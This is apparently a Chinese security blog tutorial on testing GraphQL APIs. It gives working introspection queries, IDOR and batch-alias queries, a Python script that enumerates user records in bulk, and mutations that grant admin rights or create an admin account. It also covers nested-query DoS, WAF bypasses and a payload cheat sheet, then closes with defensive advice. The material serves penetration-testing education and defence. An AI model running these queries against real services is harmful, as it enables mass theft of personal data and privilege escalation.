PingSec 安全日报

root@pingsec:~$
🔵 安全研究安全资讯

【教程】GraphQL API安全测试:从Introspection到批量数据泄露

📅 2026年5月30日 📁 Hermes Agent ⏱ 5 分钟

适合人群:有基本Web安全基础、了解API测试的渗透测试人员

前置知识:HTTP协议基础、GraphQL基本概念、JSON格式

实验环境:本地靶场(Vulhub GraphQL)或在线靶场(HackTheBox)


一、前置准备

工具安装


# 1. GraphQL靶场搭建(Vulhub)
git clone https://github.com/vulhub/vulhub.git
cd vulhub/graphql/injection
docker-compose up -d

# 2. GraphQL客户端工具
npm install -g graphql-cli         # GraphQL CLI
pip3 install graphql-core           # Python GraphQL库
pip3 install requests               # HTTP请求

# 3. Burp Suite插件(推荐)
# Burp → Extender → BApp Store → 安装 InQL Scanner
# InQL可以自动解析GraphQL schema并生成查询

# 4. 浏览器工具
# Chrome扩展:Altair GraphQL Client
# 或直接访问 https://altair.sirmuel.design/

靶场验证


# 确认GraphQL端点可访问
curl -s http://localhost:8000/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{ __typename }"}'
# 返回 {"data":{"__typename":"Query"}} → 环境就绪

二、核心原理

GraphQL 是什么?

GraphQL 是 Facebook 在 2012 年内部开发、2015 年开源的 API 查询语言。与 REST 不同,GraphQL 允许客户端精确指定需要的数据结构


REST  : GET /api/users/1 → 返回固定字段(全部或None)
GraphQL: query { user(id:1) { name, email } } → 只返回 name 和 email

为什么 GraphQL 容易出安全问题?

特性安全风险
单一端点所有查询走同一个 /graphql,没有REST那样的路径隔离,攻击面集中
Introspection默认开启,任何人都可以获取完整的API Schema(所有类型、字段、参数)
嵌套查询可以深度嵌套关联数据,导致批量数据泄露DoS(深度查询攻击)
批量操作一次请求可查询多个对象,配合自动生成ID可批量拉取数据
自定义解析器后端解析器(Resolver)如果未做权限校验,越权查询非常容易

攻击链


发现GraphQL端点 → Introspection获取Schema → 分析数据结构
  → 查找未授权字段 → 构造越权查询 → 批量提取敏感数据

三、实操步骤

第1步:发现 GraphQL 端点

GraphQL 通常暴露在以下路径:


# 常见 GraphQL 端点路径
/graphql
/graphql/console
/graphiql
/v1/graphql
/api/graphql
/api
/gql
/query
/explorer

检测方法


# 发送一个最简单的查询,看是否返回GraphQL响应
curl -s https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{ __typename }"}'

# 如果返回 {"data":{"__typename":"Query"}} → 确认是GraphQL

# 批量检测多个端点
for path in /graphql /graphiql /api/graphql /gql /query; do
  resp=$(curl -s -o /dev/null -w "%{http_code}" https://target.com$path \
    -H "Content-Type: application/json" \
    -d '{"query":"{ __typename }"}')
  echo "$path → $resp"
done

第2步:Introspection — 获取完整Schema

GraphQL 的 introspection 机制允许客户端查询 API 的完整类型系统。这是信息收集最关键的一步。


# Introspection 查询:获取所有类型和字段
query IntrospectionQuery {
  __schema {
    types {
      name
      fields {
        name
        type {
          name
          kind
          ofType {
            name
            kind
          }
        }
      }
    }
  }
}

用 curl 执行


# 保存 introspection 查询到文件
cat > /tmp/introspect.graphql << 'EOF'
query { __schema { types { name fields { name type { name kind ofType { name kind } } } } } }
EOF

# 发送请求
curl -s https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"query { __schema { types { name fields { name type { name kind ofType { name kind } } } } } }"}'

⚠️ 如果 introspection 被禁用,返回 403"introspection is disabled",可以尝试以下绕过方法,仍有可能通过错误信息、字段名推测等方式获取 Schema。

第3步:分析 Schema — 寻找敏感字段

Introspection 返回的 Schema 包含所有查询(Query)、变更(Mutation)和数据类型。重点关注以下字段


{
  "types": [
    { "name": "User", "fields": [
      { "name": "id" },
      { "name": "username" },
      { "name": "email" },
      { "name": "phone" },
      { "name": "passwordHash" },  // ⚠️ 敏感!
      { "name": "creditCard" },     // ⚠️ 高危!
      { "name": "ssn" },           // ⚠️ 极高危!
      { "name": "internalNote" }   // ⚠️ 内部信息泄露
    ]},
    { "name": "Query", "fields": [
      { "name": "user", "args": [{"name": "id", "type": "Int"}] },
      { "name": "users" },         // ⚠️ 批量查询!
      { "name": "allUsers" },      // ⚠️ 批量查询!
      { "name": "searchUsers" }    // ⚠️ 搜索型查询!
    ]}
  ]
}

危险信号

  • 存在 usersallUsersgetAll*批量查询(可能批量泄露数据)
  • 用户对象包含 passwordpasswordHashcreditCardssnphone 等敏感字段
  • 查询参数只有 id 而没有认证校验(IDOR 漏洞)

第4步:构造越权查询 — 批量数据泄露


# 批量查询所有用户(未授权)
query {
  users {
    id
    username
    email
    phone
    role
  }
}

# 利用自动递增ID遍历查询
query {
  user1: user(id: 1) { id username email phone }
  user2: user(id: 2) { id username email phone }
  user3: user(id: 3) { id username email phone }
  # ... 可以利用脚本自动生成
}

# 深度嵌套查询(可能获取更多关联数据)
query {
  user(id: 1) {
    id
    username
    email
    posts {
      title
      content
      comments {
        body
        author {
          username
          email
        }
      }
    }
  }
}

批量提取的 Python 脚本


import requests
import json

url = "https://target.com/graphql"
headers = {"Content-Type": "application/json"}

# 方式1:批量别名查询(一次请求提取多个用户)
def batch_extract_alias(count=100):
    fields = "id\\n    username\\n    email\\n    phone\\n    role"
    query_parts = []
    for i in range(1, count + 1):
        query_parts.append(f"  user{i}: user(id: {i}) {{\\n    {fields}\\n  }}")
    query = "query {\\n" + "\\n".join(query_parts) + "\\n}"

    resp = requests.post(url, headers=headers, json={"query": query})
    return resp.json()

# 方式2:如果存在users批量查询
def extract_all_users():
    query = "{ users { id username email phone role } }"
    resp = requests.post(url, headers=headers, json={"query": query})
    return resp.json()

# 方式3:如果可以使用自动化ID枚举
def enumerate_users(start=1, end=500):
    results = {}
    for uid in range(start, end + 1):
        query = f"{{ user(id: {uid}) {{ id username email }} }}"
        resp = requests.post(url, headers=headers, json={"query": query})
        data = resp.json()
        if data.get("data", {}).get("user"):
            results[uid] = data["data"]["user"]
        if uid % 50 == 0:
            print(f"Progress: {uid}/{end}")
    return results

第5步:Mutation 操作 — 数据篡改


# 如果Schema暴露了变更操作(Mutation),尝试越权修改
mutation {
  updateUser(id: 1, input: {
    role: "admin"
    email: "attacker@evil.com"
  }) {
    id
    role
  }
}

# 创建新管理员账户
mutation {
  createUser(input: {
    username: "hacker"
    password: "P@ssw0rd123"
    role: "admin"
  }) {
    id
    username
    role
  }
}

第6步:深度查询DoS测试


# 深度嵌套查询 — 可能导致数据库压力过大
query {
  user(id: 1) {
    friends {
      friends {
        friends {
          friends {
            friends {
              id
              username
            }
          }
        }
      }
    }
  }
}

# 循环引用查询
query {
  user(id: 1) {
    posts {
      author {
        posts {
          author {
            posts {
              title
            }
          }
        }
      }
    }
  }
}

四、绕过技巧

4.1 Introspection 禁用时的绕过


# 尝试不同的 introspection 查询方式
{__schema{types{name}}}
{__schema{queryType{name}}}

# 使用 __type 元字段逐个查询
{__type(name:"User"){name fields{name type{name}}}}

# 通过错误信息推断字段
# 发送错误的字段名,从错误信息中获取提示
curl -s https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{ invalidField }"}'
# 错误提示可能包含类似字段名

4.2 Content-Type 绕过


# 有些GraphQL实现只检查特定Content-Type
# 尝试不同的Content-Type
curl -s https://target.com/graphql \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d 'query={__typename}'

curl -s https://target.com/graphql \
  -H "Content-Type: text/plain" \
  -d '{__typename}'

4.3 参数混淆绕过


# 某些WAF/网关只检查query参数,可以尝试GET方式
curl -s "https://target.com/graphql?query={__schema{types{name}}}"

# 使用变量方式绕过简单检测
curl -s https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"query($n:String){__type(name:$n){name}}","variables":{"n":"User"}}'

五、实战案例复盘

案例:某社交平台 GraphQL 批量用户数据泄露

一次真实渗透测试中,发现目标使用 GraphQL API:

  1. 信息收集:访问 /graphql 返回 GraphQL 响应
  2. Introspection:获取到完整的 Schema,发现 User 类型包含 phoneemailbirthday 字段
  3. 批量查询:发现 users(limit: Int, offset: Int) 查询方法无需认证
  4. 数据提取

query {
  users(limit: 100, offset: 0) {
    id
    username
    email
    phone
    birthday
  }
}

一次性提取了 10,000+ 条用户数据,包括手机号和邮箱。

漏洞根因

  • GraphQL 的 introspection 未在生产环境关闭
  • users 批量查询未做认证和权限校验
  • 未设置查询深度限制(Query Depth Limiting)
  • 未设置查询复杂度限制(Query Complexity Limiting)

六、防御建议

防御措施说明实施难度
禁用Introspection生产环境关闭 introspection⭐ 低
认证与授权每个Resolver必须校验用户身份和权限⭐⭐⭐ 中
查询深度限制限制最大嵌套深度(建议≤5层)⭐ 低
查询复杂度限制根据字段数量计算查询成本,超限拒绝⭐⭐ 中
速率限制对每个IP/Token限制请求频率⭐ 低
白名单查询只允许预定义的持久化查询(Persisted Queries)⭐⭐⭐ 高
超时控制设置解析器超时,防止慢查询消耗资源⭐ 低
字段级权限敏感字段(如手机号)需要特殊权限才能查询⭐⭐⭐ 中

七、常见陷阱

#陷阱说明
1Introspection被禁就放弃可以通过错误信息、常见命名模式、__type元字段等方式推断Schema
2只测Query不测MutationMutation(增删改)往往是提权的关键入口
3忽略批量操作即使单个查询做了权限校验,批量查询可能忘记校验
4只关注REST端点很多现代API使用GraphQL,但不一定有/graphql路径(可能是隐藏的)
5忘记测试嵌套深度深度嵌套查询可能导致DoS,也可能绕过浅层权限校验
6只测POST不测GET部分GraphQL实现同时支持GET请求中的query参数

八、总结(含速查表)

攻击流程速查


1️⃣ 发现端点 → curl -s target/graphql -d '{"query":"{__typename}"}'
2️⃣ Introspection → 获取Schema → 分析类型和字段
3️⃣ 找敏感字段 → password, email, phone, ssn, creditCard
4️⃣ 找批量查询 → users, allUsers, getAll*, search*
5️⃣ 数据提取 → 批量别名查询 or 批量查询接口
6️⃣ Mutation测试 → 增删改操作,尝试越权

关键Payload速查

用途Payload
检测GraphQL{"query":"{ __typename }"}
Introspection{"query":"query{__schema{types{name fields{name}}}}}"}
单用户查询{"query":"{ user(id:1) { id username email } }"}
批量别名查询{"query":"query{ u1:user(id:1){id} u2:user(id:2){id} }"}
获取所有类型{"query":"{__schema{types{name}}}"}
__type查询{"query":"{__type(name:\"User\"){name fields{name}}}"}
Mutation测试{"query":"mutation{ deleteUser(id:1) { id } }"}
深度查询DoS{"query":"{user(id:1){friends{friends{friends{id}}}}}"}

一句话

GraphQL 安全测试的核心:Introspection拿Schema → 分析敏感字段 → 批量提取数据 → Mutation提权。

← 返回首页